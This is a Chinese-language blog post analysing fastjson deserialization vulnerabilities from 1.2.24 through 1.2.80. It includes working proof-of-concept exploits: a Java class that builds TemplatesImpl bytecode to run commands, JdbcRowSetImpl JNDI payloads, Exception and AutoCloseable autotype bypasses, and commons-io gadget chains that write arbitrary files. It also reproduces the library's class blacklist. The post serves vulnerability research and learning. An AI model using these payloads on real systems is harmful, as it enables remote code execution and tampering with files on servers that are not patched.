Skip to content

fastjson

CVE-2017-18349(fastjson<=1.2.24,template链)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class Main {
public static class test{
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
//这个test就是上面的静态内部类,getName是获取全限定包名
CtClass cc = pool.get(test.class.getName());

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//makeClassInitializer()是创建静态代码块,inserBefore()是在里面插入语句
cc.makeClassInitializer().insertBefore(cmd);
//System.nanotime()是返回当前时间,下面这两条语句的作用是给test类重新命名
String randomClassName = "W01fh4cker" + System.nanoTime();
cc.setName(randomClassName);

cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'W01h4cker',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
//JSON反序列化的一些配置
ParserConfig config = new ParserConfig();
//这个JSON就是fastjson的一个类,下面这句话是将text1反序列化成TemplatesImpl
//Object.class在这里起一个占位的作用,实际运行类型还是TemplatesImpl
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);//SupportNonPublicField是允许非public字段被反序列化
} catch (Exception e) {
e.printStackTrace();
}
}
}

FastJsonJSON字符串反序列化到指定的Java类时,会调用目标类的gettersetter等方法。

入口点是TemplatesImpl::getOutputProperties()-newTransformer()-getTranslateInstance()-defineTransletClasses()-TranslateClassLoader::defineclasses()-ClassLoader::defineClass()跟cc链中的templates链差不多

Fastjson 1.2.25-1.2.47通杀(JdbcRowSetImpl)

关于JNDI的相关文章可以看https://www.cnblogs.com/gaorenyusi/p/18452516

RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113

LADP利用JDK版本 ≤ JDK 6u211 、7u201、8u191

在fastjson自1.2.24爆出反序列化漏洞之后,1.2.25就增加了黑白名单,禁用了@type注解,更换了1.2.25版本后再运行上面的poc就会报autotype is not support错误

这是新增的反序列化类的黑名单

img

具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

payload为{“a”:{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”},”b”:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1/exp”,”autoCommit”:true}}

下面解释为什么

定位到checkAutoType()方法

因为1.2.24以后autotype都默认为false

所以没有进入前面的条件判断,直接到了下图

img

首先去Mapping中找java.lang.Class,

img

没在mapping找到java.lang.Class

进入下一条语句,deserializers.findclass

img

可以看到deserializes中是有java.lang.Class的,成功return

img

对payload的a字段进行反序列化

img

使用了@type并过了checkautotype()的,parser.resolveStatus的值就为TypeNameRedirect,赋值的语句就在上图语句不远处

img

img

此时经过了前面一系列的处理,此时parser的token已经指向了java.lang.Class与val中间的这个逗号

img

219行就是检测当前token是否为逗号,如果是就进入下一个token

221行判断当前token是否为字符串,此时token指向的是”val”,通过221,222两层if判断,执行225行,到了下一个token,”val”与”com.sun.JdbcRowSetImpl”之间的冒号,通过了230行的判断,进入了下一个token,”com.sun.JdbcRowSetImpl”,解析当前token,因为是LITERAL_STRING类型的,所以objVal也是字符串,值为”com.sun.JdbcRowSetImpl”

赋值给strval

img

img

img

成功将”com.sun.JdbcRowSetImpl”放入mapping中

check”b”字段

img

因为mapping中有了JdbcRowSetImpl,直接return

img

直接反序列化JdbcRowSetImpl

img

因为json反序列化会调用对象的getter,setter方法,而JdbcRowSetImpl::setAutoCommit()会调用connect()

img

img

因为DataSource就是我们payload中传的,所以可以实现rmi,ldap。

第二种poc

有三种方式开启默认禁用的autotype

  • 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("org.example.,org.javaweb.");或者ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  • 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.example.
  • fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.example.

设置autotype为true后在checkautotype中会进入这里

img

img

如果你指定的反序列化类名字以[开头或者L开头;结尾,就进入了下图

img

绕过了checkautotype

以[开头是将反序列化类视为一个数组形式的类,会返回一个数组class,但是后面又将这个数组中的值即我们指定的类反序列化了

L开头;结尾的是将其视为了一个普通Java类,该干嘛干嘛

1.2.42,1.2.43有因为这个的改版产生的漏洞,可以看看开头的那个链接里面讲的

fastjson1.2.68漏洞分析

第一种绕过

POC

1
2
3
String poc = "{\n" +
" \"a\": { \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } },\n" +
"}"

因为checkautotype()当expectclass为null时,会在几个map中查找有没有当前反序列化的类,如果找到了经过一些逻辑判断就能成功返回。

第一次进行checkautotype()

img

是对Exception类进行反序列化检查,因为Exception类在上述提到的几个map之一,mappings中存在,所以能绕过检测直接返回class

img

获取Exception的反序列化器

img

因为是Throwable的子类所以返回了ThrowableDeserializer

在ThrowableDeserializer#deserialize中因为下一个key是@type,所以

img

再次进行checkautotype,但这次带上了expectclass参数-Throwable.class

然后checkautotype会对exclassName前三个字符进行hash,然后与白名单和黑名单进行一些逻辑判断后

img

进行了loadclass

img

在loadclass中用appclassloader将exclassName加载进了jvm中

img

加进了mapping。

img

这一段是创建了一个Exception对象,并对poc中的字段值获取字段反序列化器,并将反序列化的结果通过对应字段的setter放进Exception对象中

最终会调用创建的对象的getter

但是当有键值包裹的时候异常对象就是Exception,而不是第二个@type后的对象,比如poc

但是当没有键值包裹的时候创建的异常对象就是第二个@type后的类,比如当poc为这样时

String poc = “{\n” +

​ “ "@type": "java.lang.Exception", "@type": "MyException"“ +

​ “}”;

Exception对象就是MyException,最终也能成功调用MyException的getter

所以开头的poc并不能调用InputCoercionException的getter和setter,如果去掉a键值包裹倒是可以

第二种绕过

第一种绕过是利用Exception在mapping中,且ThrowableDeserializer.deserialize调用了有expectclass参数的checkautotype.

第二种绕过是利用AutoCloseable在mapping中并且javabeanDeserializer.deserialize调用了有expectclass参数的checkautotype.

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class testfj1268 implements AutoCloseable {
private String domain;
public testfj1268() {
super();
}
public void setDomain(String domain) {
this.domain = domain;
}
public String getDomain() throws IOException {
System.out.println("tr1ple");
Runtime.getRuntime().exec(domain);
return domain;
}
public static void main(String[] args) {
String a = " {\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"testfj1268\",\n" +
" \"domain\": \" calc \"\n" +
" }";
JSON.parseObject(a);
}
@Override
public void close() throws Exception {
}
}

也能成功弹出计算器,只是从ThrowableDeserializer.deserialize变成了JavaBeanDeserialize.deserialize

什么时候调用setter?

不知道为什么我步入不了FastJsonASMDeserializer#deserialze,下图是setter的调用栈

img

何时调用getter?

在成功反序列化对象之后,调用JSON.toJSON(obj)将对象转换成JSONObject(是个Map)

这个过程中根据类中有多少个getter方法(而不是有多少个属性)创建有多少个元素的Map<String,Object>。

调用getter将Map填满。之后遍历这个Map,将key和toJSON(value)填入进JSONObject中,因为value也被toJSON()了,所以会调用value所属对象的getter方法。

因为会调用value的getter,所以又有了新的利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.alibaba.fastjson.JSON;
import javax.activation.DataSource;
import javax.activation.URLDataSource;
import javax.swing.*;
import java.net.URL;
public class testfj1 extends Exception {
public testfj1() {
}
private DataSource dataSource;
public DataSource getDataSource() {
return dataSource;
}
public void setDataSource(URL url) {
this.dataSource = new URLDataSource(url);
}
public static void main(String[] args) {
String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}";
JSON.parseObject(a);
}
}

因为上述代码块有个dataSource属性,对应的setter需要一个URL参数,而URL在白名单中,所以能成功反序列化URL实例。在setter方法中,将URL作为参数赋值给了URLDataSource,而这样的赋值是不经过checkautotype检测的,checkautotype只管反序列化JSON字符串中有@type的部分,而setter部分是管不着的。所以调用setValue方法后DataSource的值就为URLDataSource了,在toJSON阶段URLDataSource还会调用其getter,而URLDataSource中有个getInputStream,调用了url.openStream(),最终会调用url.openConnnection()

1.2.80

这个漏洞能将setter参数、公有字段、构造函数参数的类型添加进deserializer中从而使其能绕过checkautotype(其实1.2.68也可以)

相较于1.2.68,将AutoCloseable添加进了黑名单。所以要用上述的第一种方法利用Throwable进行绕过

POC

1
2
3
4
5
6
7
String poc = "{\n" +
"\"a\":{\n" +
" \"@type\": \"java.lang.Exception\", \"@type\": \"MyException\",\"clazz\":{}" +
"}" +
"\"b\":{\n" +
"\"@type\":\"Myclass\"}" +
"}";

clazz的编译类型为Myclass

在checkautotype返回了MyException.class后创建了MyException实例,获取MyException对应的反序列化器ThrowableDeserializer

img

之后在上图最下方cast方法中经过一堆判断后将MyClass添加进了deserializer中,这样MyClass也能绕过checkautotype了

img

但是如果你在JSON字符串中写了的属性没有setter的话就不能成功加载了。

img

因为没有setter上图标蓝的方法就会返回null,就跳过了给实例clazz赋值的过程。deserialize函数直接返回了上面创建的那个MyException实例。而将MyClass加载进deserializer中是在上图标蓝处下方的cast函数中,所以自然Myclass也就没加载进去。

上述是将setter参数加载进deserializer的流程,其实构造函数参数和公共字段都是一样的流程,MyException的反序列化器exBeanDeser调用了getFieldDeserializer(key),这个Filed指的是JSON字符串中的字段,不管是setter参数,构造函数参数还是公共字段都属于Field.实例的反序列化器会根据key查找对应的字段反序列化器,找出字段所对应的真正类,接着调用cast进行转换并将真正类加载进deserializer中

流程:

  1. 反序列化Exception,发现接下来的字段是@type,调用了checkautotype(有expectclass版)
  2. 将MyException加载进mapping中,返回了class后创建MyException实例,获取对应的反序列化器
  3. 通过MyException的反序列化器获取字段的反序列化器,发现实际类型与编译类型不一致后进行cast转换
  4. 将编译类型加载进deserialize中
  5. 将转换好的value利用对应的setter方法放进MyException实例中
  6. 还是在最后toJSON(MyException)时调用的MyException的getter貌似并不会调用value的getter

参考:

  1. https://www.cnblogs.com/tr1ple/p/13489260.html#W6NcatW6
  2. https://y4er.com/posts/fastjson-1.2.80/

fastjson-in-spring

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}

利用链分析

XmlStreamReader构造函数

img

因为fastjson会根据你payload中的字段来决定用哪个构造函数,所以is,httpContentTypem,lenlent,defaultEncoding这四个字段payload中都有

这个构造函数调用了dohttpStream

注意看源码,dohttpStream的参数bom是一个BOMInputStream,bom中又包含了一个BufferedInputStream,而BufferdInputStream中又包含了XmlInputStream的构造参数is.

dohttpStream调用了getBomCharsetName->getBOM

img

什么是BOM?

BOM,全称 Byte Order Mark,是一种 用于标记文本文件编码方式 的特殊字节序列。

一种BOM就对应着一种编码方式,通过读取一个流前面的几个字节就可判断是由什么BOM编写的。

getBOM方法的逻辑如下:

获取boms字段第一个字节数组的长度赋值给maxBomSize,创建一个int数组firstBytes长度为maxBomSize.

循环调用InputStream.read()中读取maxBomSize个字节,将firstBytes与boms中的bom进行比较,如果成功匹配,就返回一个BOM对象

上图中可以看到getBOM->in.read()

而in就是BufferedInputStream

BufferedInputStream.read()->is(这个is就是XmlInputStream的参数,即TeeInputStream).read(byte[],int,int)

img

最终会调用到TeeInputStream的构造参数input(即ReaderInputStream).read(byte[],int,int)->fillBuffer()->reader(即CharSequenceReader).read(byte[],int,int)->read()

img

读取CharSequence的字节,由poc可知charsequence的值是一个String.

由TeeInputStream的read(byte[],int,int)方法可知会将Charsequence读取到的值写入进TeeInputStream的构造参数branch中。

接下来就是写文件部分

branch是一个WriterOutputStream

其write(byte[],int,int)->flushOutput()->writer(即FileWriterWithEncoding).write(byte[],int,int)->out(即利用file参数创建的OutputStreamWriter).write(byte[],int,int)

因为fastjson是先创建字段的实例再创建类的实例,所以当调用XmlStreamReader的构造函数时字段都已经赋值好了,将CharSequence读到的值写入进file中

但运行程序后会发现文件系统中创建了file,但是里面是空的

问题出在这个方法

img

这是这个方法的调用链

img

因为传入的数组太短了,所以charsequence的值并不会真正的写入文件中。

那如何使数组增长呢?只是单纯的增长charsequence的值并不能成功写入,因为XmlStreamReader#dohttpstream中创建的BufferedInputStream的长度给定了是4096,但是需要超过8192才能成功写入。

要利用fastjson的$ref循环引用机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

fastjson-in-spring1.2.80的版本可以看

https://squirt1e.top/2024/11/08/fastjson-1.2.80-springboot-xin-lian/已经懒得再写了,感觉这漏洞好恶心

jqctf就不复现了,就算把那道题要考的漏洞看完了之后再去看岳神的wp还是感觉如果复现的话会很痛苦

参考:https://zhuanlan.zhihu.com/p/376759650

https://xz.aliyun.com/news/16145

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.